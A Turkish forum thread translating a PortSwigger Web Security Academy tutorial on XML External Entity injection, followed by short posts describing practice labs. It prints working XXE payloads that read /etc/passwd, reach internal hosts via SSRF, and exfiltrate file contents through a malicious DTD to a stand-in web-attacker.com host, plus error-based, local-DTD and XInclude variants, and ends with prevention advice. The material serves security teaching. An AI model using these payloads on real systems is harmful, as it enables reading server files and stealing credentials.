XML External Entity (XXE) Enjeksiyonu

Dolyetyus

Özel Üye
21 Nis 2020
1,209
3
691
Bu bölümde, XML External Entity (Harici/Dış Varlıklar) Enjeksiyonunun ne olduğunu, bazı yaygın örneklerini, çeşitli XXE enjeksiyon türlerinin nasıl bulunacağını ve bunlardan nasıl yararlanılacağını açıklayacağız ve XXE enjeksiyon saldırılarının nasıl önleneceğini özetleyeceğiz.

XML External Entity Enjeksiyonu nedir?

XML External Entity Enjeksiyonu (XXE olarak da bilinir), bir saldırganın bir uygulamanın XML verilerini işlemesine müdahale etmesine izin veren bir web güvenlik açığıdır. Genellikle bir saldırganın uygulama sunucusu dosya sistemindeki dosyaları görüntülemesine ve uygulamanın kendisinin erişebildiği tüm back-end veya harici sistemlerle etkileşime girmesine izin verir.

Bazı durumlarda, bir saldırgan, sunucu tarafı istek sahteciliği (Server-side request forgery-SSRF) saldırıları gerçekleştirmek için XXE güvenlik açığından yararlanarak, temeldeki sunucuyu veya diğer back-end altyapıyı tehlikeye atmak için bir XXE saldırısını kullanabilir.



Laboratuvarlar
XXE güvenlik açıklarının ardındaki temel kavramlara zaten aşinaysanız ve bunları bazı gerçekçi ve kasıtlı olarak savunmasız bırakılmış hedefler üzerinde denemek istiyorsanız bu konuda hakkındaki tüm laboratuvarlara konu altındaki postlardan ulaşabilirsiniz.


XML XXE


XXE güvenlik açıkları nasıl ortaya çıkıyor?

Bazı uygulamalar, tarayıcı ile sunucu arasında veri iletmek için XML fomatını kullanır. Bunu kullanan uygulamalar, sunucudaki XML verilerini işlemek için neredeyse her zaman standart bir kitaplık veya platform API kullanır. XXE güvenlik açıkları, XML formatının çeşitli potansiyel tehlikeli özellikler içermesi ve standart ayrıştırıcıların -uygulama tarafından normalde kullanılmasalar bile- bu özellikleri desteklemesi nedeniyle ortaya çıkar.

XML external entities (harici varlıklar), tanımlanan değerleri içinde beyan edildikleri DTD'nin dışından yüklenen bir tür özel XML varlığıdır. Harici varlıklar, bir varlığın bir dosya yolunun veya URL'nin içeriğine göre tanımlanmasına izin verdikleri için güvenlik açısından özellikle ilgi çekicidir.


XXE saldırılarının türleri nelerdir?

Çeşitli XXE saldırı türleri vardır:
  • Bir dosyanın içeriğine sahip harici bir varlığın tanımlandığı ve uygulamanın yanıt olarak döndürdüğü dosyaları almak için XXE'den yararlanma.​
  • Harici bir varlığın bir back-end sistemine URL'ye dayalı olarak tanımlandığı SSRF saldırılarını gerçekleştirmek için XXE'den yararlanma.​
  • Blind (kör) XXE. Hassas veriler, uygulama sunucusundan saldırganın kontrol ettiği bir sisteme iletilir.​
  • Saldırgan, hassas veriler içeren bir ayrıştırma hata mesajını tetikleyebilir. Bu hata mesajlarını kullanarak veri almak için Blind XXE'den yararlanılabilir.​

Dosyaları almak için XXE'den yararlanma

Sunucunun dosya sisteminden rastgele bir dosya alan bir XXE enjeksiyon saldırısı gerçekleştirmek için gönderilen XML'i iki şekilde değiştirmeniz gerekir:
  • Dosyanın yolunu içeren harici bir varlığı tanımlayan bir DOCTYPE öğesi ekleyin (veya düzenleyin).​
  • Tanımlanan harici varlığı kullanmak için uygulamanın yanıtında döndürülen XML'deki bir veri değerini düzenleyin.​

Örneğin, bir alışveriş uygulamasının sunucuya aşağıdaki XML'i göndererek bir ürünün stok seviyesini kontrol ettiğini varsayalım:
XML:
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck><productId>381</productId></stockCheck>

Uygulama, XXE saldırılarına karşı belirli bir savunma gerçekleştirmez. Bu nedenle aşağıdaki XXE payload'ını göndererek /etc/passwd dosyasını almak için XXE güvenlik açığından yararlanabilirsiniz:
XML:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>

Bu XXE payloadı, değeri /etc/passwd dosyasının içeriği olan ve bu varlığı productId değeri içinde kullanan harici bir &xxe; varlığını tanımlar. Bu, uygulama yanıtının, dosya bilgilerini içermesine neden olur:
XML:
Invalid product ID: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...

Not
Gerçek dünyada XXE güvenlik açıklarında gönderilen XML'de genellikle çok sayıda veri değeri bulunur ve bunlardan herhangi biri uygulamanın yanıtında kullanılabilir. XXE güvenlik açıklarını sistematik olarak test etmek için tanımladığınız varlığı kullanarak ve yanıtta görünüp görünmediğine bakarak genellikle XML'deki her veri node'unu ayrı ayrı test etmeniz gerekir.

SSRF saldırıları gerçekleştirmek için XXE'den yararlanma

Hassas verilerin alınmasının yanı sıra, XXE saldırılarının diğer ana etkisi, sunucu tarafında istek sahteciliği (SSRF) gerçekleştirmek için kullanılabilmesidir. Bu, server-side uygulamasının, sunucunun erişebileceği herhangi bir URL'ye HTTP istekleri yapmasına neden olabileceği potansiyel olarak ciddi bir güvenlik açığıdır.

Bir SSRF saldırısı gerçekleştirirken bir XXE güvenlik açığından yararlanmak için hedeflemek istediğiniz URL'yi kullanarak harici bir XML varlığı tanımlamanız ve tanımlı varlığı bir veri değeri içinde kullanmanız gerekir. Tanımlanan varlığı uygulamanın yanıtında döndürülen bir veri değeri içinde kullanabiliyorsanız uygulamanın yanıtı içindeki URL'den gelen yanıtı görüntüleyebilecek ve böylece back-end sistemle iki yönlü etkileşim kazanabileceksiniz. Değilse, yalnızca Blind SSRF saldırıları gerçekleştirebileceksiniz (ki bu da yine de kritik sonuçlara yol açabilir).

Aşağıdaki XXE örneğinde harici varlık, sunucunun altyapısındaki dahili bir sisteme back-end HTTP isteği yapmasına neden olacaktır:
XML:
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://internal.vulnerable-website.com/"> ]>

Kör (Blind) XXE güvenlik açıkları

XXE güvenlik açıklarının çoğu kördür. Bu, uygulamanın yanıtlarında tanımlanmış herhangi bir harici varlığın değerlerini döndürmediği ve dolayısıyla sunucu tarafı dosyalarının doğrudan alınmasının mümkün olmadığı anlamına gelir.

Blind XXE güvenlik açıkları hala tespit edilip kullanılabilir ancak daha gelişmiş teknikler gerekir. Bazen güvenlik açıklarını bulmak için bant dışı teknikleri kullanabilir ve verileri dışarı sızdırmak için bunlardan yararlanabilirsiniz. Bazen hassas verilerin hata mesajları içinde ifşa edilmesine yol açan XML ayrıştırma hatalarını tetikleyebilirsiniz.


Blind (Kör) XXE güvenlik açıklarını bulma ve kullanma

Bu bölümde, kör XXE enjeksiyonunun ne olduğunu açıklayacağız ve kör XXE güvenlik açıklarını bulmaya ve bunlardan yararlanmaya yönelik çeşitli teknikleri açıklayacağız.

Blind (Kör) XXE nedir?

Kör XXE güvenlik açıkları, uygulamanın XXE enjeksiyonuna karşı savunmasız olduğu ancak yanıtlarında tanımlanmış herhangi bir harici varlığın değerlerini döndürmediği durumlarda ortaya çıkar. Bu, sunucu tarafındaki dosyaların doğrudan alınmasının mümkün olmadığı anlamına gelir ve bu nedenle kör XXE'den yararlanmak, normal XXE güvenlik açıklarından genellikle daha zordur.

Kör XXE güvenlik açıklarını bulup bunlardan yararlanmanın iki geniş yolu vardır:
  • Bant dışı ağ etkileşimlerini tetikleyebilir, bazen etkileşim verileri içindeki hassas verileri sızdırabilirsiniz.​
  • XML ayrıştırma hatalarını, hata mesajları hassas veriler içerecek şekilde tetikleyebilirsiniz.​

Bant dışı (OAST) teknikleri kullanarak kör XXE'yi saptama
Kör XXE'yi genellikle XXE SSRF saldırılarıyla aynı tekniği kullanarak, ancak kontrol ettiğiniz bir sistemle bant dışı ağ etkileşimini tetikleyerek tespit edebilirsiniz. Örneğin, harici bir varlığı aşağıdaki gibi tanımlarsınız:
XML:
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com"> ]>

Daha sonra XML içindeki bir veri değerinde tanımlı varlığı kullanırsınız.

Bu XXE saldırısı, sunucunun belirtilen URL'ye bir back-end HTTP isteği yapmasına neden olur. Saldırgan, ortaya çıkan DNS aramasını ve HTTP isteğini izleyebilir ve böylece XXE saldırısının başarılı olduğunu saptayabilir.

Bazen, normal varlıkları kullanan XXE saldırıları, uygulama tarafından yapılan bir miktar giriş doğrulaması veya kullanılan XML ayrıştırıcının bir miktar sağlamlaştırılması nedeniyle engellenir. Bu durumda bunun yerine XML parametre varlıklarını kullanabilirsiniz. XML parametre varlıkları yalnızca DTD içinde başka bir yere başvurulabilen özel bir tür XML varlığıdır. Şu an üstünde durduğumuz amaçlar için sadece iki şeyi bilmeniz gerekir. İlk olarak, bir XML parametre varlığının bildirimi, varlık adından önce yüzde karakterini içerir:
XML:
<!ENTITY % myparameterentity "my parameter entity value" >
İkincisi, parametre varlıklarına normal ve-& işareti yerine yüzde-% karakteri kullanılarak başvurulur:
XML:
%myparameterentity;

Bu, XML parametre varlıkları aracılığıyla bant dışı algılama kullanarak kör XXE'yi aşağıdaki gibi test edebileceğiniz anlamına gelir:
XML:
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com"> %xxe; ]>
Bu XXE yükü, xxe adlı bir XML parametre varlığını bildirir ve ardından DTD içindeki varlığı kullanır. Bu, saldırının başarılı olduğunu doğrulayan bir DNS aramasına ve saldırganın domainine gönderilen bir HTTP isteğine neden olur.


Verileri bant dışına sızdırmak için kör XXE'den yararlanma

Bant dışı tekniklerle kör bir XXE güvenlik açığını tespit etmek iyi bir seçenektir ancak aslında güvenlik açığından nasıl yararlanılabileceğini göstermez. Saldırganın gerçekten başarmak istediği şey, hassas verileri sızdırmaktır. Bu, kör bir XXE güvenlik açığı aracılığıyla elde edilebilir ancak saldırganın kontrol ettiği bir sistemde kötü amaçlı bir DTD barındırmasını ve ardından bant içi XXE payloadı içinden harici DTD'yi başlatmasını içerir.

/etc/passwd dosyasının içeriğini dışarı sızdırmak için kullanılan kötü niyetli bir DTD örneği aşağıdaki gibidir:
XML:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;

Bu DTD aşağıdaki adımları gerçekleştirir:
  • /etc/passwd dosyasının içeriğini içeren, file adı verilen bir XML parametre varlığını tanımlar.​
  • exfiltrate adlı başka bir XML parametre varlığının dinamik bildirimini içeren, eval adlı bir XML parametre varlığını tanımlar. Exfiltrate varlığı, saldırganın web sunucusuna URL sorgu dizesindeki dosya varlığının değerini içeren bir HTTP isteği yapılarak değerlendirilecektir.​
  • Exfiltrate varlığının dinamik bildiriminin gerçekleştirilmesine neden olan değerlendirme varlığını kullanır.​
  • Exfiltrate varlığını kullanır, böylece değeri belirtilen URL istenerek değerlendirilir.​

Saldırganın daha sonra kötü amaçlı DTD'yi kontrol ettiği bir sistemde normalde kendi web sunucularına yükleyerek barındırması gerekir. Örneğin, saldırgan kötü amaçlı DTD'yi aşağıdaki URL'de sunabilir:

Son olarak, saldırganın güvenlik açığı bulunan uygulamaya aşağıdaki XXE yükünü göndermesi gerekir:
XML:
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM
"http://web-attacker.com/malicious.dtd"> %xxe;]>

Bu XXE payloadı xxe adlı bir XML parametre varlığını bildirir ve ardından DTD içindeki varlığı kullanır. Bu, XML ayrıştırıcısının saldırganın sunucusundan harici DTD'yi getirmesine ve bunu satır içi olarak yorumlamasına neden olur. Kötü amaçlı DTD içinde tanımlanan adımlar daha sonra yürütülür ve /etc/passwd dosyası saldırganın sunucusuna iletilir.


Not
Bu teknik, /etc/passwd dosyasında bulunan yeni satır karakterleri dahil olmak üzere bazı dosya içerikleriyle çalışmayabilir. Bunun nedeni, bazı XML ayrıştırıcılarının URL içinde görünmesine izin verilen karakterleri doğrulayan bir API kullanarak harici varlık tanımındaki URL'yi getirmesidir. Bu durumda HTTP yerine FTP protokolünü kullanmak mümkün olabilir. Bazen yeni satır karakterlerini içeren verileri dışarı sızdırmak mümkün olmayabilir ve bunun yerine /etc/hostname gibi bir dosya hedeflenebilir.

Hata mesajları yoluyla veri almak için kör XXE'den yararlanma
Kör XXE'den yararlanmaya yönelik alternatif bir yaklaşım, hata mesajının almak istediğiniz hassas verileri içerdiği bir XML ayrıştırma hatasını tetiklemektir. Uygulama, yanıtında sonuçta ortaya çıkan hata mesajını döndürürse bu etkili olacaktır.

Kötü amaçlı bir harici DTD kullanarak /etc/passwd dosyasının içeriğini içeren bir XML ayrıştırma hata mesajını şu şekilde tetikleyebilirsiniz:
XML:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;

Bu DTD aşağıdaki adımları gerçekleştirir:
  • /etc/passwd dosyasının içeriğini içeren, file adı verilen bir XML parametre varlığını tanımlar.​
  • error adlı başka bir XML parametre varlığının dinamik bildirimini içeren, eval adlı bir XML parametre varlığını tanımlar. Hata varlığı, file varlığının değerini içeren var olmayan bir dosya yüklenerek değerlendirilecektir.​
  • error varlığının dinamik bildiriminin gerçekleştirilmesine neden olan eval varlığını kullanır.​
  • error varlığını kullanır, böylece var olmayan dosya yüklenmeye çalışılarak değeri değerlendirilir, bu da /etc/passwd dosyasının içeriği olan var olmayan dosyanın adını içeren bir hata mesajıyla sonuçlanır.​

Kötü amaçlı harici DTD'yi çağırmak, aşağıdakine benzer bir hata mesajına neden olur:
XML:
java.io.FileNotFoundException: /nonexistent/root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...


Yerel bir DTD'yi yeniden amaçlayarak kör XXE'den yararlanma

Önceki teknik, harici bir DTD ile iyi çalışır, ancak normalde DOCTYPE öğesinde tam olarak belirtilen bir dahili DTD ile çalışmaz. Bunun nedeni, tekniğin başka bir parametre varlığının tanımı içinde bir XML parametre varlığının kullanılmasını içermesidir. XML spesifikasyonuna göre buna harici DTD'lerde izin verilir ancak dahili DTD'lerde izin verilmez. (Bazı ayrıştırıcılar buna müsamaha gösterebilir, ancak çoğu izin vermez.)

Peki, bant dışı etkileşimler engellendiğinde kör XXE güvenlik açıkları ne olacak? Verileri bant dışı bir bağlantı aracılığıyla dışarı sızdıramazsınız ve uzak bir sunucudan harici bir DTD yükleyemezsiniz.

Bu durumda, XML dil belirtimindeki bir boşluk nedeniyle hassas veriler içeren hata mesajlarının tetiklenmesi yine de mümkün olabilir. Bir belgenin DTD'si, dahili ve harici DTD bildirimlerinin bir karışımını kullanıyorsa dahili DTD, harici DTD'de bildirilen varlıkları yeniden tanımlayabilir. Bu olduğunda başka bir parametre varlığının tanımı içinde bir XML parametre varlığını kullanma kısıtlaması gevşetilir.

Bu, kullandıkları XML parametre varlığının harici bir DTD içinde bildirilen bir varlığı yeniden tanımlaması koşuluyla bir saldırganın dahili bir DTD içinden hata tabanlı XXE tekniğini kullanabileceği anlamına gelir. Elbette, bant dışı bağlantılar engellenirse harici DTD uzak bir konumdan yüklenemez. Bunun yerine uygulama sunucusunda yerel olan harici bir DTD dosyası olması gerekir. Esasen saldırı, yerel dosya sisteminde var olan bir DTD dosyasını çağırmayı ve hassas verileri içeren bir ayrıştırma hatasını tetikleyecek şekilde mevcut bir varlığı yeniden tanımlamak için yeniden kullanmayı içerir. Bu tekniğe Arseniy Sharoglazov öncülük etti ve 2018'in en iyi 10 web hackerlığı teknikleri arasında 7. sırada yer aldı.

Örneğin, sunucu dosya sisteminde /usr/local/app/schema.dtd konumunda bir DTD dosyası olduğunu ve bu DTD dosyasının custom_entity adlı bir varlığı tanımladığını varsayalım. Saldırgan, aşağıdaki gibi bir hibrit DTD göndererek /etc/passwd dosyasının içeriğini içeren bir XML ayrıştırma hata mesajını tetikleyebilir:
XML:
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
<!ENTITY % custom_entity '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>

Bu DTD aşağıdaki adımları gerçekleştirir:
  • Sunucu dosya sisteminde bulunan harici DTD dosyasının içeriğini içeren local_dtd adlı bir XML parametre varlığını tanımlar.​
  • Harici DTD dosyasında zaten tanımlanmış olan, custom_entity adlı XML parametre varlığını yeniden tanımlar. Varlık, /etc/passwd dosyasının içeriğini içeren bir hata mesajını tetiklemek için daha önce açıklanan hata tabanlı XXE istismarını içerecek şekilde yeniden tanımlanır.​
  • custom_entity varlığının yeniden tanımlanmış değeri dahil olmak üzere harici DTD'nin yorumlanması için local_dtd varlığını kullanır. Bu işlem istenen hata mesajıyla sonuçlanır.​

Yeniden amaçlandırmak için mevcut bir DTD dosyasını bulma

Bu XXE saldırısı, sunucu dosya sistemindeki mevcut bir DTD'nin başka bir amaca uygun hale getirilmesini içerdiğinden, temel gereksinim uygun bir dosya bulmaktır. Bu aslında oldukça basittir. Uygulama, XML ayrıştırıcı tarafından atılan tüm hata mesajlarını döndürdüğünden dolayı yerel DTD dosyalarını yalnızca dahili DTD içinden yüklemeyi deneyerek kolayca numaralandırabilirsiniz.

Örneğin, GNOME masaüstü ortamını kullanan Linux sistemleri genellikle /usr/share/yelp/dtd/docbookx.dtd konumunda bir DTD dosyasına sahiptir. Aşağıdaki XXE yükünü göndererek bu dosyanın mevcut olup olmadığını test edebilirsiniz; bu işlem dosya eksikse bir hataya neden olur:
XML:
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
%local_dtd;
]>

Mevcut bir dosyayı bulmak için yaygın DTD dosyalarının bir listesini test ettikten sonra dosyanın bir kopyasını almanız ve yeniden tanımlayabileceğiniz bir varlık bulmak için gözden geçirmeniz gerekir. DTD dosyalarını içeren birçok yaygın sistem açık kaynak olduğundan, normalde dosyaların bir kopyasını internet aramasıyla hızlı bir şekilde elde edebilirsiniz.


XXE enjeksiyonu için gizli saldırı yüzeyi bulma

Uygulamanın normal HTTP trafiği XML biçiminde veri içeren istekleri içerdiğinden, XXE enjeksiyon güvenlik açıkları için saldırı yüzeyi çoğu durumda açıktır. Diğer durumlarda ise saldırı yüzeyi daha az görünür. Ancak doğru yerlere bakarsanız herhangi bir XML içermeyen isteklerde XXE saldırı yüzeyi bulacaksınız.

XInclude Saldırıları

Bazı uygulamalar istemci tarafından gönderilen verileri alır, sunucu tarafında bir XML belgesine katıştırır ve ardından belgeyi ayrıştırır. Bunun bir örneği, müşteri tarafından gönderilen veriler, back-end SOAP hizmeti tarafından işlenen bir back-end SOAP isteğine yerleştirildiğinde ortaya çıkar.

Bu durumda klasik bir XXE saldırısı gerçekleştiremezsiniz çünkü tüm XML belgesini kontrol edemezsiniz ve dolayısıyla bir DOCTYPE öğesini tanımlayamaz veya değiştiremezsiniz. Ancak bunun yerine XInclude'ı kullanabilirsiniz. XInclude, bir XML belgesinin alt belgelerden oluşturulmasına izin veren XML formatının bir parçasıdır. XInclude saldırısını bir XML belgesindeki herhangi bir veri değerine yerleştirebilirsiniz. Böylece saldırı, yalnızca sunucu tarafı bir XML belgesine yerleştirilen tek bir veri öğesini kontrol ettiğiniz durumlarda gerçekleştirilebilir.

Bir XInclude saldırısı gerçekleştirmek için, XInclude domaininine başvurmanız ve dahil etmek istediğiniz dosyanın yolunu sağlamanız gerekir. Örneğin:
XML:
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>

Dosya yükleme yoluyla XXE saldırıları

Bazı uygulamalar kullanıcıların sunucu tarafında işlenen dosyalar yüklemesine izin verir. Bazı yaygın dosya formatları XML kullanır veya XML alt bileşenleri içerir. XML tabanlı biçimlere örnek olarak DOCX gibi ofis belgesi biçimleri ve SVG gibi görüntü biçimleri verilebilir.

Örneğin, bir uygulama, kullanıcıların görüntüleri yüklemesine ve bunları yükledikten sonra sunucuda işlemesine veya doğrulamasına izin verebilir. Uygulama, PNG veya JPEG gibi bir biçim almayı beklese bile, kullanılan görüntü işleme kitaplığı SVG görüntülerini destekleyebilir. SVG formatı XML kullandığından dolayı bir saldırgan kötü amaçlı bir SVG görüntüsü yükleyebilir ve böylece XXE güvenlik açıkları için gizli saldırı yüzeyine ulaşabilir.


Değiştirilmiş içerik türü aracılığıyla XXE saldırıları

Çoğu POST isteği, application/x-www-form-urlencoded gibi HTML formları tarafından oluşturulan default bir içerik türü kullanır. Bazı web siteleri istekleri bu biçimde almayı bekler ancak XML de dahil olmak üzere diğer içerik türlerini tolere eder.

Örneğin, normal bir istek aşağıdakileri içeriyorsa:
HTML:
POST /action HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 7

foo=bar

Aşağıdaki isteği de aynı sonuçla gönderebilirsiniz:
HTML:
POST /action HTTP/1.0
Content-Type: text/xml
Content-Length: 52

<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>

Uygulama, mesaj gövdesinde XML içeren istekleri tolere ediyorsa ve gövde içeriğini XML olarak ayrıştırıyorsa, XML biçimini kullanmak için istekleri yeniden biçimlendirerek gizli XXE saldırı yüzeyine ulaşabilirsiniz.


XXE güvenlik açıkları nasıl bulunur ve test edilir?

XXE güvenlik açıklarının büyük çoğunluğu, Burp Suite'in web açığı tarayıcısı kullanılarak hızlı ve güvenilir bir şekilde bulunabilir.

XXE güvenlik açıklarının manuel olarak test edilmesi genellikle şunları içerir:
  • Yaygın bir işletim sistemi dosyasına dayalı harici bir varlık tanımlayarak ve bu varlığı uygulamanın yanıtında döndürülen verilerde kullanarak dosyayı kabul edip etmediğini test etmeyi içerir.​
  • Kontrol ettiğiniz bir sistemin URL'sine dayalı olarak harici bir varlık tanımlayarak ve bu sistemle etkileşimleri izleyerek Blind XXE güvenlik açıklarını test etme. Burp Collaborator bu amaç için mükemmeldir.​
  • Yaygın bir işletim sistemi dosyasını almaya çalışmak için bir XInclude saldırı kullanmak, kullanıcı tarafından sağlanan XML olmayan verilerin bir server-side XML dosyasına güvenlik açığından dahil edilmesi için olan testi içerir.​

Not
XML'in yalnızca bir veri aktarım biçimi olduğunu unutmayın. XSS ve SQL enjeksiyonu gibi diğer güvenlik açıkları için XML tabanlı işlevleri de test ettiğinizden emin olun. Syntaxı bozmamak için payloadınızı XML çıkış dizilerini kullanarak kodlamanız gerekebilir ancak bunu zayıf savunmaları atlamak için saldırınızı gizlemek için de kullanabilirsiniz.

XXE güvenlik açıkları nasıl önlenir?

Neredeyse tüm XXE güvenlik açıkları uygulamanın XML ayrıştırma kitaplığının, uygulamanın ihtiyaç duymadığı veya kullanmayı amaçlamadığı potansiyel olarak tehlikeli XML özelliklerini desteklemesinden kaynaklanır. XXE saldırılarını önlemenin en kolay ve etkili yolu bu özellikleri devre dışı bırakmaktır.

Genel olarak, harici varlıkların çözümlenmesini devre dışı bırakmak ve XInclude desteğini devre dışı bırakmak yeterlidir. Bu genellikle yapılandırma seçenekleri aracılığıyla veya programlı olarak default davranışı geçersiz kılarak yapılabilir. Gereksiz özelliklerin nasıl devre dışı bırakılacağıyla ilgili ayrıntılar için XML ayrıştırma kitaplığınızın veya API'nizin belgelerine bakın.





Orijinal makale: What is a blind XXE attack? Tutorial & Examples | Web Security Academy
Çevirmen: @Dolyetyus
 
Moderatör tarafında düzenlendi:

Dolyetyus

Özel Üye
21 Nis 2020
1,209
3
691
Lab 2: SSRF saldırıları gerçekleştirmek için XXE'den yararlanma

Bu laboratuvar, XML girişini ayrıştıran ve yanıtta beklenmeyen değerleri döndüren bir "Stok kontrolü" özelliğine sahiptir.

Laboratuvar sunucusu, olan varsayılan URL'de simüle edilmiş bir EC2 metadata endpoint çalıştırıyor. Bu endpoint örnek hakkında -bazıları hassas olabilecek- verileri almak için kullanılabilir.

Laboratuvarı çözmek için EC2 metadata endpoint'ten sunucunun IAM gizli erişim anahtarını alan bir SSRF saldırısı gerçekleştirmek için XXE güvenlik açığından yararlanın.


Lab Linki:
 

Dolyetyus

Özel Üye
21 Nis 2020
1,209
3
691
Lab 3: Bant dışı etkileşimli Blind (Kör) XXE

Bu laboratuvar, XML girişini ayrıştıran ancak sonucu göstermeyen bir "Stok kontrolü" özelliğine sahiptir.

Harici bir etki alanı ile bant dışı etkileşimleri tetikleyerek kör XXE güvenlik açığını tespit edebilirsiniz.

Laboratuvarı çözmek için XML ayrıştırıcısının Burp Collaborator'a bir DNS araması ve HTTP isteği göndermesini sağlayin, bunun için harici bir varlık kullanın.


Not
Akademi platformunun üçüncü taraflara saldırmak için kullanılmasını önlemek için güvenlik duvarımız, laboratuvarlar ve isteğe bağlı harici sistemler arasındaki etkileşimleri engeller. Laboratuvarı çözmek için Burp Collaborator'ın default olan genel sunucusunu kullanmalısınız.

Lab Linki: Lab: Blind XXE with out-of-band interaction | Web Security Academy
 

Dolyetyus

Özel Üye
21 Nis 2020
1,209
3
691
Lab 4: XML parametre varlıkları aracılığıyla bant dışı etkileşimli Blind (Kör) XXE

Bu labda, XML girişini ayrıştıran ancak beklenmeyen değerleri göstermeyen ve normal harici varlıklar içeren istekleri engelleyen bir "Stok kontrolü" özelliği vardır.

Labi çözmek için, XML ayrıştırıcısının Burp Collaborator'a bir DNS araması ve HTTP isteği göndermesini sağlamak için bir parametre varlığı kullanın.


Not
Akademi platformunun üçüncü taraflara saldırmak için kullanılmasını önlemek için güvenlik duvarımız, laboratuvarlar ve isteğe bağlı harici sistemler arasındaki etkileşimleri engeller. Laboratuvarı çözmek için Burp Collaborator'ın default olan genel sunucusunu kullanmalısınız.

Lab Linki: Lab: Blind XXE with out-of-band interaction via XML parameter entities | Web Security Academy
 

Dolyetyus

Özel Üye
21 Nis 2020
1,209
3
691
Lab 5: Kötü amaçlı bir harici DTD kullanarak verileri sızdırmak için Blind (Kör) XXE'den yararlanma

Bu lab, XML input'unu ayrıştıran ancak sonucu göstermeyen bir "Stok kontrolü" (Check stock) özelliğine sahiptir.

Laboratuvarı çözmek için, /etc/hostname dosyasının içeriğine erişin.


Not
Akademi platformunun üçüncü taraflara saldırmak için kullanılmasını önlemek için güvenlik duvarımız, laboratuvarlar ve isteğe bağlı harici sistemler arasındaki etkileşimleri engeller. Laboratuvarı çözmek için size sunulan exploit sunucusunu ve/veya Burp Collaborator'ın default olan genel sunucusunu kullanmalısınız.

Lab Linki: Lab: Exploiting blind XXE to exfiltrate data using a malicious external DTD | Web Security Academy
 
Son düzenleme:

Dolyetyus

Özel Üye
21 Nis 2020
1,209
3
691
Lab 6: Hata mesajları yoluyla veri almak için Blind (Kör) XXE'den yararlanma

Bu lab, XML input'unu ayrıştıran ancak sonucu göstermeyen bir "Stok kontrolü" (Check stock) özelliğine sahiptir.

Laboratuvarı çözmek için /etc/passwd dosyasının içeriğini görüntüleyecek bir hata mesajını tetikleyin. Bunun için de harici bir DTD kullanın.

Bu lab, kötü amaçlı DTD'niz için host olacak farklı bir domain'deki exploit sunucusuna bir link içerir.


Lab Linki: Lab: Exploiting blind XXE to retrieve data via error messages | Web Security Academy
 
Son düzenleme:

Dolyetyus

Özel Üye
21 Nis 2020
1,209
3
691
Lab 7: Dosyaları almak için XInclude'tan yararlanma

Bu labda kullanıcı input'unu sonradan ayrıştırılan bir server-side XML belgesinin içine yerleştiren bir "Stok kontrolü" (Check stock) özelliği vardır.

Bu labda tüm XML belgesini kontrol etmediğinizden dolayı klasik bir XXE saldırısı için bir DTD tanımlayamazsınız.

Laboratuvarı çözmek için /etc/passwd dosyasının içeriğini alabileceğiniz şekilde bir XInclude enjekte edin.


İpucu:
Varsayılan olarak XInclude, dahil edilen belgeyi XML olarak ayrıştırmaya çalışır. /etc/passwd geçerli bir XML olmadığından dolayı bu davranışı değiştirmek için XInclude yönergesine fazladan bir attribute eklemeniz gerekmektedir.

Lab Linki: Lab: Exploiting XInclude to retrieve files | Web Security Academy
 
Son düzenleme:

Dolyetyus

Özel Üye
21 Nis 2020
1,209
3
691
Lab 8: Resim dosyası yükleme yoluyla XXE'den yararlanma

Bu lab, kullanıcıların yorumlara avatar eklemesine olanak tanır ve avatarların resim dosyalarını işlemek için Apache Batik kitaplığını kullanır.

Laboratuvarı çözmek için, işlendikten sonra /etc/hostname dosyasının içeriğini gösteren bir resim yükleyin. Ardından sunucu host adının değerini göndermek için "Submit solution" butonunu kullanın.


İpucu:
SVG resim formatı XML kullanır.

Lab Linki: Lab: Exploiting XXE via image file upload | Web Security Academy
 
Son düzenleme:

Dolyetyus

Özel Üye
21 Nis 2020
1,209
3
691
Lab 9: Yerel bir DTD ile repurposing yaparak veri almak için XXE'den yararlanma

Bu lab, XML input'unu ayrıştıran ancak sonucu göstermeyen bir "Stok kontrolü" (Check stock) özelliğine sahiptir.

Labı çözmek için /etc/passwd dosyasının içeriğini gösteren bir hata mesajını tetikleyin.

Sunucudaki mevcut bir DTD dosyasını kullanarak bir varlığı yeniden tanımlamanız gerekir.


İpucu:
GNOME environment'ını kullanan sistemler genellikle /usr/share/yelp/dtd/docbookx.dtd adresinde bir DTD bulundurur ve bu DTD, ISOamso adlı bir varlık içerir.

Lab Linki: Lab: Exploiting XXE to retrieve data by repurposing a local DTD | Web Security Academy
 
Son düzenleme:
Üst

